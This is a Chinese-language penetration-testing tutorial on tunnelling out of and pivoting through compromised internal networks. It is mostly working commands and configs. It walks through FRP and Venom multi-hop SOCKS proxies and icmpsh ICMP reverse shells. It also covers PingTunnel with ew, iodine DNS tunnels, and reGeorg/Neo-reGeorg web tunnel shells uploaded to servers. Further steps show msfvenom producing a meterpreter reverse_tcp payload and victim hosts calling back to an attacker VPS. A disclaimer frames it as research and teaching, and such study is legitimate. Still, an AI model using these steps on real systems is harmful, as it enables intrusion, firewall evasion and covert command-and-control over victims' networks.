隧道穿透与代理转发

注:本文所介绍所有工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任!作者不承担任何法律和相关责任!

什么是隧道?

在渗透测试中,进入内网后,我们要判断流量是否能够出的去、进的来。

在实际的网络情况下,流量会经过很多的边界设备,在一般的企业内网中,可能会存在 IDP、IPS、防火墙等设备,如果异常的话,就会直接将通信阻断;这里我们说的隧道,就是绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方通信。当被封装的数据包达到了另外的地址的时候,解包还原,并将还原后的数据包发送到相应的服务器上。

常见的隧道包括三个大类:网络层、应用层、传输层

出网探测

查看是否禁止了出站IP或者禁止了出站端口或者禁止了出站协议。

情况一:IP白名单

目标主机设置了严格的策略,防火墙只允许目标内网机器主动连接公网指定的IP

这样的话,没法反弹shell。

情况二:出站端口限制

Linux

1.Linux自带命令

for i in {1..65500};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i***********************open************************" || echo "$i closed";done >> result.txt

2.nmap探测

nmap -sT -Pn -p- -v www.baidu.com

3.masscan探测

masscan -p 80,443,8000-9000 IP --rate=10000

Windows

如果RDP连接上去,可以使用图形化工具(如御剑)。

如果是webshell,可以使用fscan、nmap。

fscan -h 127.0.0.1 -p 1-65535

情况三:禁止出站协议

对于禁止出站协议的情况,需要探测目标机器允许哪些协议出网。

可以用以下命令判断:

命令协议pingicmpcurlhttpnslookupdns

目标出网隧道

如果目标出网,我们就正常Socks5反向代理打通隧道

工具有很多,什么Lcx,Ew等等

下面介绍两种用的比较多且比较简单的内网穿透工具

FRP+Proxifier实现内网socks5反向代理

https://github.com/fatedier/frp

Frp分为服务端和客户端,从名字就可以看出来——frpc(client)|frps(server)

1.在服务端上配置frps.ini文件

git clone https://github.com/fatedier/frp/releases/download/v0.38.0/frp_0.38.0_linux_amd64.tar.gz
tar -zxvf frp_0.38.0_linux_amd64.tar.gz
cp -r frp_0.38.0_linux_amd64 frp          # 重命名Dir,方便后续操作
rm -rf ./frp_0.38.0_linux_amd64
rm -rf ./frp_0.38.0_linux_amd64.tar.gz
cd frp
rm -rf frpc &rm -rf frpc_full.ini &rm -rf frpc.ini         # 将客户端配置删除 
vim frps.ini

配置如下:

[common]
bind_addr = 0.0.0.0      # 服务端监听地址 默认0.0.0.0
bind_port = 7000      # 客户端和服务端连接的端口 
dashboard_port = 7500     # 服务端仪表板的端口
#token = 12345678      # 连接口令
dashboard_user = admin     # 仪表盘用户
dashboard_pwd = admin     # 仪表盘口令
log_file = ./frps.log     # frp日志
log_level = info         # log_level记录的日志级别
log_max_days = 3          # log_max_days日志留存3天
authentication_timeout = 0       # authentication_timeout超时时间
max_pool_count = 50      # max_pool_count最大链接池

执行命令等待frpc连接

./frps -c frps.ini

2.在客户端上下载frp并配置frpc.ini文件

配置frpc.ini文件

[common]
server_addr = vps_ip  #连接服务端的地址
server_port = 7000    #连接服务端的端口
tls_enable = ture      #启用 TLS 协议加密连接
pool_count = 5        #连接池大小

[plugin_socks]
type = tcp
remote_port = 8888  #是该条规则在服务端开放的端口号,待会儿用proxyfier连的端口
plugin = socks5
plugin_user = admin
plugin_passwd = admin
use_encryption = true
use_compression = true

执行frpc

./frps -c frps.ini

成功连接

访问服务端仪表盘,连接成功

3.配置proxyfier

打开Proxy Server

成功访问内网,在本机做扫描啥的也很方便

本机做实验懒得配Rules了,觉得看的眼花你也可以加点应用限制

Venom多级代理

**Venom项目地址:**https://github.com/Dliv3/Venom/releases

Venom是一款由腾讯玄武实验室大佬Dliv3等人为渗透测试人员设计的使用Go开发的多级代理工具

使用非常的简单,支持可视化网络拓扑

agent监听端口,admin发起连接(正向代理):

./agent_linux_x64 -lport 7777
./admin.exe -rhost 192.168.110.131 -rport 7777

admin监听端口,agent发起连接(反向代理):

./admin.exe -lport 9999
./agent_linux_x64 -rhost 192.168.110.1 -rport 9999

打开help

help                                     Help information.
exit                                     Exit.
show                                     Display network topology.
getdes                                   View description of the target node.
setdes     [info]                        Add a description to the target node.
goto       [id]                          Select id as the target node.
listen     [lport]                       Listen on a port on the target node.
connect    [rhost] [rport]               Connect to a new node through the target node.
sshconnect [user@ip:port] [dport]        Connect to a new node through ssh tunnel.
shell                                    Start an interactive shell on the target node.
upload     [local_file]  [remote_file]   Upload files to the target node.
download   [remote_file]  [local_file]   Download files from the target node.
socks      [lport]                       Start a socks5 server.
lforward   [lhost] [sport] [dport]       Forward a local sport to a remote dport.
rforward   [rhost] [sport] [dport]       Forward a remote sport to a local dport.

show 显示网络拓扑

goto ID 进入某agent节点

shell 获取节点的交互式shell

socks [port] 本地与节点1的Socks5代理,代理端口为port

setdes/getdes 设置/获取节点信息描述,起标记作用

upload/download 向节点上传/从节点下载文件

lforward/rforward 将本地端口转发到远程/将远程端口转发到本地

 rforward 192.168.110.131 80 8889

rforward 将node1网段的192.168.110.131的80转发到admin节点本地的8889端口

二级代理

拓扑基本如图:

我们最终要在victim1上建立一级代理,在victim2上建立二级代理,我们可以攻破

我们刚开始拿到了victim1的shell

上传我们的venom,启动admin和agent端

VPS(kali):

./admin_linux_x64 -lport 9999

Victim1:

./agent_linux_x64 -rhost VPS_ip -rport 9999 -passwd moonsec

一级代理此时就建立好了

在一级代理下,我们也很顺利地getshell了victim2

我们可以配合Proxyfier使webshell工具(Antsword、Godzilla)走一级代理,这样就能连上我们传到内网Victim2服务器的shell

然后在Victim1服务器上开启监听端口:

(admin node) >>> goto 1
(node 1) >>> listen 9998

Victim2服务器反向去连Victim1:

agent64.exe -rhost victim1_IP -rport 9998

执行show,看到多了个node 2

(node 1) >>> goto 2

在节点2上开启socks5代理隧道,端口9998

(node 2) >>> socks 9998

然后就可以在Proxyfier添加9998代理

我们的二级代理就配置成功,可以用Proxyfier漫游Victim2的内网,进而打到Victim3

多级代理

其实多级代理也都是在前一级代理的基础上再建立一个代理

比如三级代理:

假设我们又打到了victim3,发现victim3是个双网卡,还有层内网,我们要在victim3上建立代理

我们的webshell工具也走了9998——刚才的二级代理,能连到Victim3的shell并上传agent客户端

直接在victim2上开启监听,监听9997端口:

(node 2) >>> listen 9997

让victim3发起连接:

agent64.exe -rhost Victim2_ip -rport 9997

执行show,看到多了个node 3

image

(node 2) >>> goto 3

在节点2上开启socks5代理隧道,端口9998

(node 3) >>> socks 9997

然后设置proxyfier走9997代理,又可以漫游victim3的内网

其他多级代理也是在一级一级的基础上去添加代理

ICMP隧道

有时候主机可能只出ICMP,那我们只能搭建ICMP隧道

ICMP协议 就是我们常说的 ping 命令,ping通即可通信。一般防火墙不会禁掉ICMP

常用的ICMP隧道工具有:icmpsh、Pingtunnel、powershell icmp

icmpsh隧道

服务端下载(Kali)

git clone https://github.com/bdamele/icmpsh

受控端直接上传

然后关闭服务端的 ICMP 应答:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

实验完了记得取消就设置为 0

官方文档说运行run.sh

但实际上会报错

然后是环境配置,pip

python2的pip2:

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py

安装impacket

pip2 install impacket -i https://pypi.douban.com/simple

服务端启动:

python2 icmpsh_m.py <服务端IP> <受控端IP>

受控端启动(Windows):

.\icmpsh.exe -t <服务端IP>

成功得到Shell

用Wireshark抓包可以看到全是ICMP包

PingTunnel+ew实现socks5代理

PingTunnel 是TCP/UDP/SOCKS5 流量伪装成ICMP流量进行转发的工具。

注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件

环境搭建

网络拓扑:

假设我们已经获得了Web服务器的shell,且该服务器只支持ICMP出网,内网主机Win7此时开启3389RDP

我们需要通过建立ICMP隧道主要实现两个目标:物理机通过代理RDP、CS/MSF上线

下载Pingtunnel:Kali

wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

报错缺少pacp.h

解决办法:

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz 
tar zxvf libpcap-1.9.0.tar.gz 
cd libpcap-1.9.0 
./configure

又报错 configure: error: Neither flex nor lex was found

解决办法:

apt-get install flex bison

重新运行即可

./configure
make
sudo make install

回到Pingtunnel目录,重新执行

cd ../PingTunnel
make && make install

执行成功后ptunnel命令就已经在bin目录了

或者,你也可以去https://github.com/esrrhs/pingtunnel/releases直接下载执行文件

目标机win2008也传上pingtunnel.exe

一、MSF/CS上线

在攻击机上运行pingtunnel,开启服务器模式

./pingtunnel -type server

客户端(win2008)运行

pingtunnel.exe -type client -l 127.0.0.1:8888 -s 192.168.110.131 -t 192.168.110.131:8888 -tcp 1 -noprint 1 -nolog 1 
-l 用来监听木马传输流量的端口-s 隧道另一端IP,即我们攻击机的IP-t 转发端口,将本地8888转发到攻击机8888端口

攻击机这边已经收到连接信息了

MSF上线

msfconsole
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8888 -f exe > ./loader.exe

监听器配置如下:

成功上线

二、ew+socks5代理实现远程桌面

环境配置——开启3389:

在win7把这什么Remote开头的服务全开就完事了

再开启“允许远程桌面”选项

netstat -ano

所有IP都可以连接3389,待会儿我们就可以远程桌面了

打通隧道:

攻击机(Kali):

./ew_for_linux64 -s rcsocks -l 10080 -e 8898

10080作为连接隧道的端口,8898作为隧道的通道,可以想象为,通向内网主机的路口为10080,走的这条路为8898。8898上所有的人(流量)都会通往10080这个路口。

开启PingTunnel服务端

将ew启动的sock5协议转换为icmp协议来隐藏传输

./pingtunnel -type server

Web服务端(WinServer2008):

客户端执行PingTunnle

将8888这条路上的sock5流量信息隐藏为icmp类型的数据在本肉鸡的9999端口进行转发

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.110.131 -t 192.168.110.131:8898 -sock5 -1 -noprint 1 -nolog 1 

在9999端口开启转发流量

ew_for_Win.exe -s rssocks -d 127.0.0.1 -e 9999

攻击机这边回显,隧道打通

使用proxyfier代理

check成功

成功远程桌面

DNS隧道

DNS隧道利用原理如图:

如果我们在不出网机器构造一个恶意的域名(***.test.cn),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。

使用Iodine进行DNS隧道搭建

环境准备

GitHub:https://github.com/boazsegev/iodine

一台VPS用来提供DNS服务(假)

一台内网主机

首先,在DNS添加记录

配置完之后,可以ping一下dns.xxx.com,观察是否能ping通。

VPS安装iodine

apt-get install iodine

在VPS上运行iodine的服务端iodined

 iodined -f -c -P d1m0n 10.1.1.2 dns2tcp.xxx.xxx -DD
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址。-P:客户端和服务端之间用于验证身份的密码。-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。这里的10.1.1.2为自定义局域网虚拟IP地址,建议不要与现有网段冲突
注意!填写的dns2tcp地址为NS记录

运行客户端iodine,这里使用kali作为客户端,因为kali默认是安装好iodine的

iodine -f -P 0xL4k1d dns2tcp.xxx.xxx  -M 200
-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道 -M:指定上行主机的大小。-m:调节最大下行分片的大小。-f:在前台运行
-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。-O:指定数据编码规范。-P:客户端和服务端之间用于验证身份的密码。-L:指定是否开启懒惰模式,默认开启。-I:指定两个请求之间的时间间隔。

隧道建立成功

ping一下刚才设置的虚拟IP——10.1.1.2

而且本地多了个网卡和同段IP 10.1.1.1

到这就出网了

建立Socks代理

对内网渗透来说,我们肯定是要横向移动的。DNS隧道帮助我们出网,还需要再搭建一个socks代理便于我们横向移动。

可以用比较轻便的ssh命令,将我们的客户端作为代理服务器使用

SSH 命令的三种代理功能(-L/-R/-D)

ssh -N -D 9999 root@10.1.1.2
-N 指示SSH不要启动shell,因为我们只是想创建代理-D 设置动态端口转发,SOCKS代理端口为8080

输入10.1.1.1(kali)机器密码,本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理10.1.1.1的网络。

安装proxychains

sudo apt-get install proxychains

修改配置

vim /etc/proxychains.conf

设置代理端口为9999

curl一下看看成功没

成功了,接下来就可以把10.1.1.2当跳板机漫游了

不出网HTTP隧道

不出网的环境在实战中很常见,所以HTTP隧道是实战中用的最多的,HTTP隧道的优点相对于以上两个隧道的话就是稳定,ICMP丢包严重,而且非常慢,DNS也不稳定,有域名容易被溯源,他们上线都很麻烦。

reGeorg

reGeorg的使用

https://github.com/sensepost/reGeorg

把tunnel.nosocket.php传到www目录

访问

回显以下内容即成功

本地运行reGeorgSocksProxy.py

python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.nosocket.php

接下来接收127.0.0.1:8888的代理即可内网0漫游

但由于reGeorg在内网穿透中的广泛使用,很多杀软会把reGeorg杀掉,我们上传就要做免杀处理,或者使用下面一款国内大佬开发的加密"reGeorg"——Neo-reGeorg

Neo-reGeorg

https://github.com/L-codes/Neo-reGeorg

Step1:设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器

$ python neoreg.py generate -k 0xL4k1d

这一段应该就是我们的密钥

将其上传成功后,我们本地开启代理

python neoreg.py -k 0xL4k1d -u http://192.168.110.1/tunnel.aspx

之后就可以配合proxyfier、proxychains工具代理本地1080进行漫游了

总结

这次给大家介绍了一些常见的隧道穿透工具的使用,主要都是建立socks5(毕竟大家都是成年人,肯定全都要,端口转发用的不舒服)。然后在实验的时候,因为有些环境套的比较深,笔者有时也会搞错端口,所以劝大家在做代理转发,尤其是多级代理的时候一定要做拓扑图,代着代着端口就乱啦。

感谢阅读!